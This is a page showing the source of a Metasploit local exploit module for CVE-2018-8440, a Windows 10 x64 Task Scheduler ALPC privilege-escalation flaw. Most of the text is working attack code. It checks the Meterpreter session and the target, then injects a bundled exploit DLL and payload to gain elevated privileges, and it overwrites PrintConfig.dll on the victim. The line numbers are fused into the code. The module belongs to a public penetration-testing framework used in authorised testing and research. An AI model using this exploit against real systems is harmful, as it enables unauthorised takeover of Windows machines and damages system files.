Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/alpc_taskscheduler.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Post::Windows::Priv11include Msf::Post::Windows::Process12include Msf::Post::Windows::ReflectiveDLLInjection1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Microsoft Windows ALPC Task Scheduler Local Privilege Elevation',19'Description' => %q{20On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented21by the task scheduler service can be used to write arbitrary DACLs to `.job` files located22in `c:\windows\tasks` because the scheduler does not use impersonation when checking this23location. Since users can create files in the `c:\windows\tasks` folder, a hardlink can be24created to a file the user has read access to. After creating a hardlink, the vulnerability25can be triggered to set the DACL on the linked file.2627WARNING:28The PrintConfig.dll (%windir%\system32\driverstor\filerepository\prnms003*) on the target host29will be overwritten when the exploit runs.3031This module has been tested against Windows 10 Pro x64.32},33'License' => MSF_LICENSE,34'Author' => [35'SandboxEscaper', # Original discovery and PoC36'bwatters-r7', # msf module37'asoto-r7', # msf module38'Jacob Robles' # msf module39],40'Platform' => 'win',41'SessionTypes' => ['meterpreter'],42'Targets' => [43['Windows 10 x64', { 'Arch' => ARCH_X64 }]44],45'References' => [46['CVE', '2018-8440'],47['URL', 'https://github.com/SandboxEscaper/randomrepo/'],48],49'Notes' => {50# Exploit overwrites PrintConfig.dll, which makes it unusable.51'Stability' => [ OS_RESOURCE_LOSS ],52'Reliability' => [ REPEATABLE_SESSION ]53},54'DisclosureDate' => '2018-08-27',55'DefaultTarget' => 056)57)58end5960def validate_active_host61sysinfo['Computer']62true63rescue Rex::Post::Meterpreter::RequestError, Rex::TimeoutError => e64elog(e)65false66end6768def validate_target69if is_system?70fail_with(Failure::None, 'Session is already elevated')71end7273if sysinfo['Architecture'] == ARCH_X8674fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')75end7677version = get_version_info78if version.xp_or_2003? && version.workstation?79fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')80end81end8283def exploit84unless session.type == 'meterpreter'85fail_with(Failure::None, 'Only meterpreter sessions are supported')86end8788print_status('Checking target...')89unless validate_active_host90raise Msf::Exploit::Failed, 'Could not connect to session'91end9293validate_target9495print_status('Target looks good... attempting the LPE exploit')96execute_dll(97::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8440', 'ALPC-TaskSched-LPE.dll'),98generate_payload_dll99)100print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')101rescue Rex::Post::Meterpreter::RequestError => e102elog(e)103print_error(e.message)104end105end106107108